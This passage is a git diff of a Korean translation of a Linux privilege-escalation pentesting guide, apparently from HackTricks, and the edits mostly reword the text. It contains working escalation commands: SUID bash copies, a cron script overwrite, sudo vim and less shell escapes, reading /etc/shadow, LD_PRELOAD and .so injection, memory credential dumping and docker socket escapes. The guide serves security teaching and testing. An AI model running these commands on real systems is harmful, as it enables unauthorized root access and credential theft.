인해 **매우 쉽게 큰 승리**를 얻을 수 있습니다. -9. 발견한 모든 웹을 **펜테스팅**했습니다. +9. 발견한 모든 웹을 **펜테스팅**합니다. ## **전체 재콘 자동 도구** diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index afdcedb50..c43675741 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -20,7 +20,7 @@ echo $PATH ``` ### Env info -환경 변수에 흥미로운 정보, 비밀번호 또는 API 키가 있습니까? +흥미로운 정보, 비밀번호 또는 API 키가 환경 변수에 있습니까? ```bash (env || set) 2>/dev/null ``` @@ -35,17 +35,17 @@ searchsploit "Linux Kernel" 취약한 커널 목록과 이미 **컴파일된 익스플로잇**을 여기에서 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ 다른 사이트에서 **컴파일된 익스플로잇**을 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -그 웹사이트에서 모든 취약한 커널 버전을 추출하려면 다음을 수행할 수 있습니다: +그 웹사이트에서 모든 취약한 커널 버전을 추출하려면 다음과 같이 할 수 있습니다: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -커널 익스플로잇을 검색하는 데 도움이 될 수 있는 도구는 다음과 같습니다: +커널 취약점을 검색하는 데 도움이 될 수 있는 도구는 다음과 같습니다: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (피해자에서 실행, 2.x 커널에 대한 익스플로잇만 확인) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (피해자에서 실행, 커널 2.x에 대한 취약점만 확인) -항상 **Google에서 커널 버전을 검색하세요**, 아마도 귀하의 커널 버전이 어떤 커널 익스플로잇에 기록되어 있을 것이며, 그러면 이 익스플로잇이 유효하다는 것을 확신할 수 있습니다. +항상 **Google에서 커널 버전을 검색**하세요. 아마도 귀하의 커널 버전이 일부 커널 취약점에 기록되어 있을 것이며, 그러면 이 취약점이 유효하다는 것을 확신할 수 있습니다. ### CVE-2016-5195 (DirtyCow) @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 가능한 방어 수단 나열 +## 가능한 방어 수단 열거 ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -당신이 도커 컨테이너 안에 있다면, 그것에서 탈출하려고 시도할 수 있습니다: +Docker 컨테이너 내부에 있다면 탈출을 시도할 수 있습니다: {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## Drives -**마운트된 것과 마운트 해제된 것**을 확인하고, 어디서 왜 그런지 확인하세요. 만약 어떤 것이 마운트 해제되어 있다면, 그것을 마운트하고 개인 정보를 확인해 볼 수 있습니다. +**마운트된 것과 마운트 해제된 것**을 확인하고, 어디서 왜 그런지 확인하세요. 마운트 해제된 것이 있다면, 그것을 마운트하고 개인 정보를 확인해 볼 수 있습니다. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -162,7 +162,7 @@ SSH에 대한 접근 권한이 있는 경우, **openVAS**를 사용하여 머신 ## 프로세스 -**어떤 프로세스**가 실행되고 있는지 살펴보고, 어떤 프로세스가 **필요 이상으로 권한이 있는지** 확인하세요 (예: root로 실행되는 tomcat?). +**어떤 프로세스**가 실행되고 있는지 살펴보고, 어떤 프로세스가 **필요 이상으로 권한이 있는지** 확인하십시오 (예: root로 실행되는 tomcat?). ```bash ps aux ps -ef @@ -173,20 +173,20 @@ top -n 1 ### 프로세스 모니터링 -[**pspy**](https://github.com/DominicBreuker/pspy)와 같은 도구를 사용하여 프로세스를 모니터링할 수 있습니다. 이는 자주 실행되는 취약한 프로세스를 식별하거나 특정 요구 사항이 충족될 때 유용할 수 있습니다. +[**pspy**](https://github.com/DominicBreuker/pspy)와 같은 도구를 사용하여 프로세스를 모니터링할 수 있습니다. 이는 자주 실행되는 취약한 프로세스를 식별하거나 특정 요구 사항이 충족될 때 매우 유용할 수 있습니다. ### 프로세스 메모리 서버의 일부 서비스는 **메모리 내에 자격 증명을 평문으로 저장합니다**.\ -일반적으로 다른 사용자의 프로세스 메모리를 읽으려면 **루트 권한**이 필요하므로, 이는 보통 이미 루트일 때 더 많은 자격 증명을 발견하고자 할 때 유용합니다.\ -그러나 **일반 사용자로서 자신이 소유한 프로세스의 메모리를 읽을 수 있다는 점을 기억하세요**. +일반적으로 다른 사용자의 프로세스 메모리를 읽으려면 **루트 권한**이 필요하므로, 이는 보통 이미 루트일 때 더 유용하며 더 많은 자격 증명을 발견하고자 할 때 사용됩니다.\ +그러나 일반 사용자로서 **자신이 소유한 프로세스의 메모리를 읽을 수 있다는 점을 기억하세요**. > [!WARNING] > 현재 대부분의 머신은 **기본적으로 ptrace를 허용하지 않습니다**. 이는 권한이 없는 사용자가 소유한 다른 프로세스를 덤프할 수 없음을 의미합니다. > > 파일 _**/proc/sys/kernel/yama/ptrace_scope**_는 ptrace의 접근성을 제어합니다: > -> - **kernel.yama.ptrace_scope = 0**: 모든 프로세스는 같은 uid를 가진 한 디버깅할 수 있습니다. 이는 ptracing이 작동하던 고전적인 방식입니다. +> - **kernel.yama.ptrace_scope = 0**: 모든 프로세스는 동일한 uid를 가진 한 디버깅할 수 있습니다. 이는 ptracing이 작동하던 고전적인 방식입니다. > - **kernel.yama.ptrace_scope = 1**: 오직 부모 프로세스만 디버깅할 수 있습니다. > - **kernel.yama.ptrace_scope = 2**: 오직 관리자가 ptrace를 사용할 수 있으며, 이는 CAP_SYS_PTRACE 권한이 필요합니다. > - **kernel.yama.ptrace_scope = 3**: 어떤 프로세스도 ptrace로 추적할 수 없습니다. 설정 후에는 ptracing을 다시 활성화하려면 재부팅이 필요합니다. @@ -230,7 +230,7 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem`은 시스템의 **물리적** 메모리에 접근을 제공합니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\ +`/dev/mem`은 시스템의 **물리** 메모리에 접근을 제공합니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\ 일반적으로 `/dev/mem`은 **root**와 **kmem** 그룹만 읽을 수 있습니다. ``` strings /dev/mem -n10 | grep -i PASS @@ -295,9 +295,9 @@ strings *.dump | grep -i password | GDM 비밀번호 (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (활성 FTP 연결) | vsftpd | +| VSFTPd (활성 FTP 연결) | vsftpd | | Apache2 (활성 HTTP 기본 인증 세션) | apache2 | -| OpenSSH (활성 SSH 세션 - Sudo 사용) | sshd: | +| OpenSSH (활성 SSH 세션 - Sudo 사용) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -328,21 +328,21 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul (_사용자 "user"가 /home/user에 대한 쓰기 권한을 가지고 있는 것을 주목하세요_) 이 crontab 안에서 root 사용자가 경로를 설정하지 않고 어떤 명령이나 스크립트를 실행하려고 하면. 예를 들어: _\* \* \* \* root overwrite.sh_\ -그렇다면, 다음을 사용하여 root 쉘을 얻을 수 있습니다: +그렇다면, 다음을 사용하여 root 셸을 얻을 수 있습니다: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron을 사용한 와일드카드가 있는 스크립트 (와일드카드 주입) -루트에 의해 실행되는 스크립트가 명령어 안에 “**\***”를 포함하고 있다면, 이를 이용해 예상치 못한 일을 발생시킬 수 있습니다 (예: 권한 상승). 예: +루트에 의해 실행되는 스크립트에 명령어 안에 “**\***”가 포함되어 있다면, 이를 이용해 예상치 못한 일을 발생시킬 수 있습니다 (예: 권한 상승). 예: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` **와일드카드가** _**/some/path/\***_ **와 같은 경로 앞에 있으면 취약하지 않습니다 (심지어** _**./\***_ **도 그렇습니다).** -다음 페이지에서 더 많은 와일드카드 악용 요령을 읽어보세요: +다음 페이지에서 더 많은 와일드카드 악용 기법을 읽어보세요: {{#ref}} wildcards-spare-tricks.md @@ -364,7 +364,7 @@ ln -d -s 1분, 2분 또는 5분마다 실행되는 프로세스를 검색하기 위해 프로세스를 모니터링할 수 있습니다. 이를 활용하여 권한을 상승시킬 수 있습니다. -예를 들어, **1분 동안 0.1초마다 모니터링**하고, **덜 실행된 명령어로 정렬**한 다음, 가장 많이 실행된 명령어를 삭제하려면 다음과 같이 할 수 있습니다: +예를 들어, **1분 동안 0.1초마다 모니터링**하고, **덜 실행된 명령어로 정렬**한 후, 가장 많이 실행된 명령어를 삭제하려면 다음과 같이 할 수 있습니다: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 보이지 않는 크론 작업 -크론 작업을 **주석 뒤에 캐리지 리턴을 넣어** 생성하는 것이 가능하며 (줄 바꿈 문자가 없이), 크론 작업이 작동합니다. 예시 (캐리지 리턴 문자를 주목하세요): +크론 작업을 **주석 뒤에 캐리지 리턴을 넣어 생성하는 것이 가능합니다** (줄 바꿈 문자가 없이), 그리고 크론 작업이 작동합니다. 예시 (캐리지 리턴 문자를 주목하세요): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -380,7 +380,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 쓰기 가능한 _.service_ 파일 -어떤 `.service` 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면, 해당 파일을 **수정하여** 서비스가 **시작**, **재시작** 또는 **중지**될 때 **백도어를 실행**하도록 할 수 있습니다(아마도 기계가 재부팅될 때까지 기다려야 할 것입니다).\ +`.service` 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면, 서비스가 **시작**, **재시작** 또는 **중지**될 때 **백도어를 실행하도록** **수정할 수 있습니다** (기계가 재부팅될 때까지 기다려야 할 수도 있습니다).\ 예를 들어, .service 파일 안에 **`ExecStart=/tmp/script.sh`**로 백도어를 생성하세요. ### 쓰기 가능한 서비스 바이너리 @@ -393,7 +393,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -경로의 폴더 중 어느 곳에서든 **쓰기**가 가능하다면 **권한 상승**을 할 수 있을지도 모릅니다. 다음과 같은 서비스 구성 파일에서 사용되는 **상대 경로**를 검색해야 합니다: +경로의 폴더 중에서 **쓰기**가 가능하다고 판단되면 **권한 상승**이 가능할 수 있습니다. 다음과 같은 서비스 구성 파일에서 **상대 경로**가 사용되고 있는지 검색해야 합니다: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' @@ -401,13 +401,13 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` 그런 다음, 쓸 수 있는 systemd PATH 폴더 내에 **상대 경로 바이너리**와 **같은 이름**의 **실행 파일**을 생성하고, 서비스가 취약한 작업(**시작**, **중지**, **다시 로드**)을 실행하라고 요청받을 때, 당신의 **백도어가 실행될 것입니다** (비특권 사용자는 일반적으로 서비스를 시작/중지할 수 없지만 `sudo -l`을 사용할 수 있는지 확인하십시오). -**`man systemd.service`를 통해 서비스에 대해 더 알아보십시오.** +**`man systemd.service`를 통해 서비스에 대해 더 알아보세요.** ## **타이머** **타이머**는 `**.service**` 파일이나 이벤트를 제어하는 `**.timer**`로 끝나는 systemd 유닛 파일입니다. **타이머**는 달력 시간 이벤트와 단조 시간 이벤트에 대한 기본 지원이 있어 비동기적으로 실행될 수 있으므로 cron의 대안으로 사용될 수 있습니다. -모든 타이머를 나열하려면: +다음 명령어로 모든 타이머를 나열할 수 있습니다: ```bash systemctl list-timers --all ``` @@ -443,12 +443,12 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li 소켓은 `.socket` 파일을 사용하여 구성할 수 있습니다. -**소켓에 대해 더 알아보려면 `man systemd.socket`를 참조하세요.** 이 파일 내에서 여러 흥미로운 매개변수를 구성할 수 있습니다: +**`man systemd.socket`로 소켓에 대해 더 알아보세요.** 이 파일 내에서 여러 흥미로운 매개변수를 구성할 수 있습니다: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션들은 다르지만, **소켓이 수신할 위치를 나타내기 위해 요약됩니다** (AF_UNIX 소켓 파일의 경로, 수신할 IPv4/6 및/또는 포트 번호 등). -- `Accept`: 부울 인수를 받습니다. **true**인 경우, **각 수신 연결에 대해 서비스 인스턴스가 생성**되며, 연결 소켓만 전달됩니다. **false**인 경우, 모든 수신 소켓 자체가 **시작된 서비스 유닛**에 전달되며, 모든 연결에 대해 단 하나의 서비스 유닛만 생성됩니다. 이 값은 단일 서비스 유닛이 모든 수신 트래픽을 무조건 처리하는 데이터그램 소켓 및 FIFO에 대해 무시됩니다. **기본값은 false**입니다. 성능상의 이유로, `Accept=no`에 적합한 방식으로만 새로운 데몬을 작성하는 것이 권장됩니다. -- `ExecStartPre`, `ExecStartPost`: 수신 **소켓**/FIFO가 **생성**되고 바인딩되기 **전** 또는 **후**에 **실행되는** 하나 이상의 명령줄을 받습니다. 명령줄의 첫 번째 토큰은 절대 파일 이름이어야 하며, 그 다음에 프로세스에 대한 인수가 옵니다. -- `ExecStopPre`, `ExecStopPost`: 수신 **소켓**/FIFO가 **닫히고** 제거되기 **전** 또는 **후**에 **실행되는** 추가 **명령**입니다. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션들은 다르지만, **소켓이 어디에서 수신 대기할지를 나타내기 위해 요약됩니다** (AF_UNIX 소켓 파일의 경로, 수신 대기할 IPv4/6 및/또는 포트 번호 등). +- `Accept`: 부울 인수를 받습니다. **true**인 경우, **각 수신 연결에 대해 서비스 인스턴스가 생성**되며, 연결 소켓만 전달됩니다. **false**인 경우, 모든 수신 소켓 자체가 **시작된 서비스 유닛**에 전달되며, 모든 연결에 대해 단 하나의 서비스 유닛이 생성됩니다. 이 값은 단일 서비스 유닛이 모든 수신 트래픽을 무조건 처리하는 데이터그램 소켓 및 FIFO에 대해 무시됩니다. **기본값은 false**입니다. 성능상의 이유로, `Accept=no`에 적합한 방식으로만 새로운 데몬을 작성하는 것이 권장됩니다. +- `ExecStartPre`, `ExecStartPost`: 수신 대기하는 **소켓**/FIFO가 **생성**되고 바인딩되기 **전** 또는 **후**에 **실행되는** 하나 이상의 명령줄을 받습니다. 명령줄의 첫 번째 토큰은 절대 파일 이름이어야 하며, 그 다음에 프로세스에 대한 인수가 옵니다. +- `ExecStopPre`, `ExecStopPost`: 수신 대기하는 **소켓**/FIFO가 **닫히고** 제거되기 **전** 또는 **후**에 **실행되는** 추가 **명령**입니다. - `Service`: **수신 트래픽**에 대해 **활성화할** **서비스** 유닛 이름을 지정합니다. 이 설정은 Accept=no인 소켓에 대해서만 허용됩니다. 기본값은 소켓과 동일한 이름을 가진 서비스입니다(접미사가 대체됨). 대부분의 경우, 이 옵션을 사용할 필요는 없습니다. ### 쓰기 가능한 .socket 파일 @@ -481,7 +481,7 @@ socket-command-injection.md ### HTTP 소켓 -HTTP 요청을 수신 대기하는 **소켓이 있을 수 있습니다** (_저는 .socket 파일이 아니라 유닉스 소켓으로 작동하는 파일에 대해 이야기하고 있습니다_). 다음을 통해 확인할 수 있습니다: +HTTP 요청을 수신 대기하는 **소켓**이 있을 수 있습니다 (_저는 .socket 파일이 아니라 유닉스 소켓으로 작동하는 파일에 대해 이야기하고 있습니다_). 다음을 통해 확인할 수 있습니다: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` @@ -532,13 +532,13 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` 연결을 설정한 후, 호스트의 파일 시스템에 대한 루트 수준 액세스를 가진 상태에서 컨테이너 내에서 직접 명령을 실행할 수 있습니다. +`socat` 연결을 설정한 후, 호스트의 파일 시스템에 대한 루트 수준 액세스를 가지고 컨테이너 내에서 직접 명령을 실행할 수 있습니다. ### 기타 -**docker** 그룹에 **속해 있기 때문에** docker 소켓에 대한 쓰기 권한이 있는 경우 [**권한 상승을 위한 더 많은 방법**](interesting-groups-linux-pe/#docker-group)이 있습니다. [**docker API가 포트에서 수신 대기 중인 경우** 이를 타협할 수 있습니다](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Docker 소켓에 대한 쓰기 권한이 있는 경우, 즉 **`docker` 그룹에 속해 있는 경우** [**권한 상승을 위한 더 많은 방법이 있습니다**](interesting-groups-linux-pe/#docker-group). [**docker API가 포트에서 수신 대기 중인 경우** 이를 손상시킬 수 있습니다](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -다음에서 **docker에서 탈출하거나 권한 상승을 위해 악용할 수 있는 더 많은 방법**을 확인하세요: +다음에서 **docker에서 탈출하거나 권한 상승을 위해 악용할 수 있는 더 많은 방법을 확인하세요**: {{#ref}} docker-security/ @@ -564,11 +564,11 @@ runc-privilege-escalation.md D-Bus는 애플리케이션이 효율적으로 상호 작용하고 데이터를 공유할 수 있게 해주는 정교한 **프로세스 간 통신(IPC) 시스템**입니다. 현대 Linux 시스템을 염두에 두고 설계된 D-Bus는 다양한 형태의 애플리케이션 통신을 위한 강력한 프레임워크를 제공합니다. -이 시스템은 기본 IPC를 지원하여 프로세스 간 데이터 교환을 향상시키며, **향상된 UNIX 도메인 소켓**을 연상시킵니다. 또한 이벤트나 신호를 방송하는 데 도움을 주어 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어, Bluetooth 데몬에서 수신 전화에 대한 신호가 음악 플레이어를 음소거하도록 할 수 있어 사용자 경험을 향상시킵니다. 추가로, D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간의 서비스 요청 및 메서드 호출을 단순화하고, 전통적으로 복잡했던 프로세스를 간소화합니다. +이 시스템은 기본 IPC를 지원하여 프로세스 간 데이터 교환을 향상시키며, **향상된 UNIX 도메인 소켓**을 연상시킵니다. 또한 이벤트나 신호를 브로드캐스트하는 데 도움을 주어 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어, Bluetooth 데몬에서 수신 전화에 대한 신호가 음악 플레이어를 음소거하도록 할 수 있어 사용자 경험을 향상시킵니다. 추가로, D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간의 서비스 요청 및 메서드 호출을 간소화하여 전통적으로 복잡했던 프로세스를 간소화합니다. -D-Bus는 **허용/거부 모델**에 따라 작동하며, 정책 규칙의 누적 효과에 따라 메시지 권한(메서드 호출, 신호 전송 등)을 관리합니다. 이러한 정책은 버스와의 상호 작용을 지정하며, 이러한 권한을 악용하여 권한 상승을 허용할 수 있습니다. +D-Bus는 **허용/거부 모델**에서 작동하며, 메시지 권한(메서드 호출, 신호 방출 등)을 누적 효과에 따라 관리합니다. 이러한 정책은 버스와의 상호 작용을 지정하며, 이러한 권한을 악용하여 권한 상승을 허용할 수 있습니다. -`/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책의 예는 root 사용자가 `fi.w1.wpa_supplicant1`으로부터 메시지를 소유하고, 전송하고, 수신할 수 있는 권한을 상세히 설명합니다. +`/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책의 예는 root 사용자가 `fi.w1.wpa_supplicant1`에 대해 메시지를 소유하고, 보내고, 받을 수 있는 권한을 상세히 설명합니다. 지정된 사용자나 그룹이 없는 정책은 보편적으로 적용되며, "기본" 컨텍스트 정책은 다른 특정 정책에 의해 다루어지지 않는 모든 경우에 적용됩니다. ```xml @@ -612,9 +612,9 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### 열린 포트 -항상 접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 확인하세요: +접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 항상 확인하세요: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" @@ -654,7 +654,7 @@ gpg --list-keys 2>/dev/null ### Big UID 일부 Linux 버전은 **UID > INT_MAX**를 가진 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 더 많은 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 및 [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**다음과 같이 악용할 수 있습니다**: **`systemd-run -t /bin/bash`** +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Groups @@ -687,18 +687,18 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ### Su Brute -많은 소음을 내는 것에 신경 쓰지 않고 `su`와 `timeout` 바이너리가 컴퓨터에 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용하여 사용자를 무작위 대입해 볼 수 있습니다.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)도 `-a` 매개변수를 사용하여 사용자 무작위 대입을 시도합니다. +많은 소음을 내는 것에 신경 쓰지 않고 `su` 및 `timeout` 바이너리가 컴퓨터에 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용하여 사용자를 무작위로 시도해 볼 수 있습니다.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)와 `-a` 매개변수도 사용자를 무작위로 시도합니다. ## 쓰기 가능한 PATH 남용 ### $PATH -$PATH의 **어떤 폴더 안에 쓸 수 있는 경우**에는 **쓰기 가능한 폴더 안에 백도어를 생성**하여 권한을 상승시킬 수 있습니다. 이 백도어는 다른 사용자(이상적으로는 root)에 의해 실행될 명령의 이름이어야 하며, **당신의 쓰기 가능한 폴더보다 이전에 위치한 폴더에서 로드되지 않아야** 합니다. +$PATH의 **어떤 폴더 안에 쓸 수 있는 경우**에는 **쓰기 가능한 폴더 안에 백도어를 생성**하여 권한을 상승시킬 수 있습니다. 이 백도어는 다른 사용자(이상적으로는 root)에 의해 실행될 명령의 이름이어야 하며, **$PATH에서 귀하의 쓰기 가능한 폴더보다 앞에 위치한 폴더에서 로드되지 않아야** 합니다. ### SUDO 및 SUID -sudo를 사용하여 일부 명령을 실행할 수 있도록 허용되었거나 suid 비트가 설정되어 있을 수 있습니다. 다음을 사용하여 확인하세요: +sudo를 사용하여 일부 명령을 실행할 수 있도록 허용되거나 suid 비트가 설정되어 있을 수 있습니다. 다음을 사용하여 확인하세요: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -720,7 +720,7 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -이 예제에서 사용자 `demo`는 `root`로서 `vim`을 실행할 수 있으며, 이제 루트 디렉토리에 ssh 키를 추가하거나 `sh`를 호출하여 셸을 얻는 것이 간단합니다. +이 예에서 사용자 `demo`는 `root`로 `vim`을 실행할 수 있으며, 이제 루트 디렉토리에 ssh 키를 추가하거나 `sh`를 호출하여 셸을 얻는 것이 간단합니다. ``` sudo vim -c '!sh' ``` @@ -748,7 +748,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -**와일드카드** (\*)가 사용되면, 훨씬 더 쉽습니다: +와일드카드(**wildcard**)가 사용되면 (\*), 훨씬 더 쉽습니다: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files @@ -771,7 +771,7 @@ sudo less 만약 **suid** 바이너리가 **경로를 지정하여 다른 명령을 실행한다면**, suid 파일이 호출하는 명령과 같은 이름의 **함수를 내보내기** 위해 시도할 수 있습니다. -예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_를 호출한다면, 함수를 생성하고 내보내기를 시도해야 합니다: +예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_를 호출하는 경우, 함수를 생성하고 내보내기를 시도해야 합니다: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -780,14 +780,14 @@ export -f /usr/sbin/service ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** 환경 변수는 로더가 모든 다른 라이브러리, 표준 C 라이브러리(`libc.so`)를 포함하여 로드하기 전에 로드할 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 프로세스를 라이브러리 프리로딩이라고 합니다. +**LD_PRELOAD** 환경 변수는 로더가 모든 다른 라이브러리, 표준 C 라이브러리(`libc.so`)를 포함하여 로드하기 전에 로드할 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 과정은 라이브러리를 미리 로드하는 것으로 알려져 있습니다. 그러나 시스템 보안을 유지하고 이 기능이 악용되는 것을 방지하기 위해, 특히 **suid/sgid** 실행 파일과 관련하여 시스템은 특정 조건을 강제합니다: - 로더는 실제 사용자 ID(_ruid_)가 유효 사용자 ID(_euid_)와 일치하지 않는 실행 파일에 대해 **LD_PRELOAD**를 무시합니다. -- suid/sgid가 있는 실행 파일의 경우, suid/sgid인 표준 경로의 라이브러리만 프리로드됩니다. +- suid/sgid가 있는 실행 파일의 경우, suid/sgid인 표준 경로의 라이브러리만 미리 로드됩니다. -권한 상승은 `sudo`로 명령을 실행할 수 있는 능력이 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD** 문이 포함된 경우 발생할 수 있습니다. 이 구성은 **LD_PRELOAD** 환경 변수가 지속되고 `sudo`로 명령을 실행할 때 인식되도록 하여, 잠재적으로 상승된 권한으로 임의의 코드 실행으로 이어질 수 있습니다. +권한 상승은 `sudo`로 명령을 실행할 수 있는 능력이 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD** 문이 포함된 경우 발생할 수 있습니다. 이 구성은 **LD_PRELOAD** 환경 변수가 지속되고 `sudo`로 명령을 실행할 때 인식되도록 하여, 잠재적으로 상승된 권한으로 임의의 코드가 실행될 수 있게 합니다. ``` Defaults env_keep += LD_PRELOAD ``` @@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID 바이너리 – .so 주입 -비정상적으로 보이는 **SUID** 권한이 있는 바이너리를 발견했을 때, **.so** 파일이 제대로 로드되고 있는지 확인하는 것이 좋은 방법입니다. 다음 명령어를 실행하여 확인할 수 있습니다: +비정상적으로 보이는 **SUID** 권한을 가진 바이너리를 발견했을 때, **.so** 파일이 제대로 로드되고 있는지 확인하는 것이 좋은 방법입니다. 다음 명령어를 실행하여 확인할 수 있습니다: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` @@ -859,7 +859,7 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -마지막으로, 영향을 받은 SUID 바이너리를 실행하면 익스플로잇이 트리거되어 시스템 손상이 발생할 수 있습니다. +마지막으로, 영향을 받는 SUID 바이너리를 실행하면 익스플로잇이 트리거되어 시스템 손상이 발생할 수 있습니다. ## 공유 객체 하이재킹 ```bash @@ -901,9 +901,13 @@ system("/bin/bash -p"); > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://gtfoargs.github.io/" %} +{{#ref}} +https://gtfoargs.github.io/ +{{#endref}} ### FallOfSudo @@ -915,22 +919,22 @@ system("/bin/bash -p"); 권한 상승을 위한 요구 사항: -- 이미 "_sampleuser_" 사용자로 셸을 가지고 있습니다. -- "_sampleuser_"가 **최근 15분** 이내에 **`sudo`를 사용하여** 무언가를 실행했습니다 (기본적으로 이는 비밀번호를 입력하지 않고 `sudo`를 사용할 수 있게 해주는 